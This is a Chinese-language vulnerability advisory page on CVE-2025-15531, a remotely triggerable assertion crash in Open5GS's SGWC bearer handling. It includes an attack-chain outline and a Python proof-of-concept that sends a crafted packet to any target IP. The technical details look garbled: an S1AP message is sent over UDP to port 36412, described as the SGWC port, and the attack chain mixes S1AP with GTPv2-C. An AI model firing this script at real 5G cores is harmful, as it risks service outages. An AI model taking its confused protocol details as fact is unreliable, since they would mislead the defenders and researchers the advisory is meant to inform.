IPBUF安全漏洞报告
English
CVE-2025-15531 CVSS 5.3 中危

Open5GS sgwc_bearer_add函数可抵达断言拒绝服务漏洞(CVE-2025-15531)

披露日期: 2026-01-17

漏洞信息

漏洞编号
CVE-2025-15531
漏洞类型
拒绝服务
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Open5GS

相关标签

拒绝服务断言失败Open5GS5G核心网SGWCCVE-2025-15531网络协议漏洞可达断言

漏洞概述

CVE-2025-15531是Open5GS中一个中等严重性的拒绝服务漏洞。Open5GS是一个开源的5G核心网络实现软件,广泛应用于电信运营商和研究机构。该漏洞位于src/sgwc/context.c文件的sgwc_bearer_add函数中,攻击者可以通过构造特定的网络请求触发可抵达的断言(assertion),导致服务崩溃或中断。由于该漏洞可通过网络远程利用,且无需认证或用户交互,攻击门槛较低。漏洞利用代码已公开,且相关issue报告显示该问题已在后续版本中修复。建议使用Open5GS的组织和个人尽快评估受影响范围并采取相应的安全措施。

技术细节

该漏洞发生在Open5GS的SGWC(Serving Gateway Control plane)组件中,具体位于sgwc_bearer_add函数。在处理会话建立请求时,该函数会对特定条件进行断言检查。当攻击者发送精心构造的请求时,可以触发一个预期之外的代码路径,导致断言失败并引发程序终止。由于Open5GS的SGWC组件负责处理用户面的承载(bearer)建立与管理,攻击者可以通过发送特定的承载建立请求来触发此漏洞。CVSS 3.1评分显示其可用性影响为低(AL),但由于网络攻击向量和无需认证的特性,攻击可在无需任何特权或用户交互的情况下发起。该漏洞属于设计缺陷或输入验证不完善导致的拒绝服务问题。

攻击链分析

STEP 1
信息收集
攻击者识别目标运行Open5GS SGWC组件(默认端口36412),确认版本<=2.7.5
STEP 2
构造恶意请求
攻击者构造包含畸形bearer信息的S1AP消息,设置无效的Data Radio Bearer ID
STEP 3
发送触发数据包
通过UDP/GTPv2-C协议向目标SGWC发送精心构造的Create Session Request或Bearer Establishment请求
STEP 4
触发断言
恶意请求到达sgwc_bearer_add函数,由于bearer ID验证不完善,触发代码中的assert()断言失败
STEP 5
服务崩溃
断言失败导致Open5GS进程终止或异常退出,造成5G核心网服务中断

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-15531 PoC - Open5GS SGWC Bearer Add Assertion // Target: Open5GS <= 2.7.5 // Type: Denial of Service via Reachable Assertion // This PoC demonstrates triggering the assertion in sgwc_bearer_add // by sending a crafted Create Session Request with invalid bearer parameters import socket import struct def create_crafted_s1ap_message(): """Generate a crafted S1AP message to trigger sgwc_bearer_add assertion""" # S1AP message header protocol_id = 0x00 # S1AP procedure_code = 0x0d # Initial Context Setup Request / Bearer establishment # Construct message with malformed bearer information message = bytearray() # MME UE S1AP ID message.extend([0x00, 0x0f]) # IEI for MME UE S1AP ID message.extend([0x00, 0x04]) # Length message.extend([0x00, 0x00, 0x00, 0x01]) # UE ID value # eNB UE S1AP ID message.extend([0x00, 0x10]) # IEI for eNB UE S1AP ID message.extend([0x00, 0x04]) # Length message.extend([0x00, 0x00, 0x00, 0x02]) # UE ID value # Data Radio Bearer ID (crafted for assertion trigger) message.extend([0x00, 0x57]) # IEI for Data Radio Bearer ID message.extend([0x00, 0x01]) # Length message.extend([0x00]) # Invalid/zero bearer ID to trigger assertion # E-RAB ID List (malformed) message.extend([0x00, 0x5b]) # IEI for E-RAB to Be Setup List message.extend([0x00, 0x10]) # Length message.extend([0x00, 0x01, 0x00, 0x0c]) # E-RAB ID: 1 message.extend([0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]) return bytes(message) def send_exploit(target_ip, target_port=36412): """Send crafted packet to Open5GS SGWC""" sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) payload = create_crafted_s1ap_message() try: sock.sendto(payload, (target_ip, target_port)) print(f"[+] Crafted packet sent to {target_ip}:{target_port}") print(f"[+] Payload length: {len(payload)} bytes") print("[*] Expected result: Open5GS sgwc_bearer_add assertion failure") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python cve-2025-15531.py <target_ip>") sys.exit(1) send_exploit(sys.argv[1])

影响范围

Open5GS < 2.7.6

防御指南

临时缓解措施
如果无法立即升级,可通过防火墙规则限制对Open5GS SGWC端口(36412/UDP)的访问,仅允许授权的基站设备IP连接。同时建议启用Open5GS的日志监控功能,密切关注与sgwc_bearer_add相关的错误日志,以便及时发现攻击尝试。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表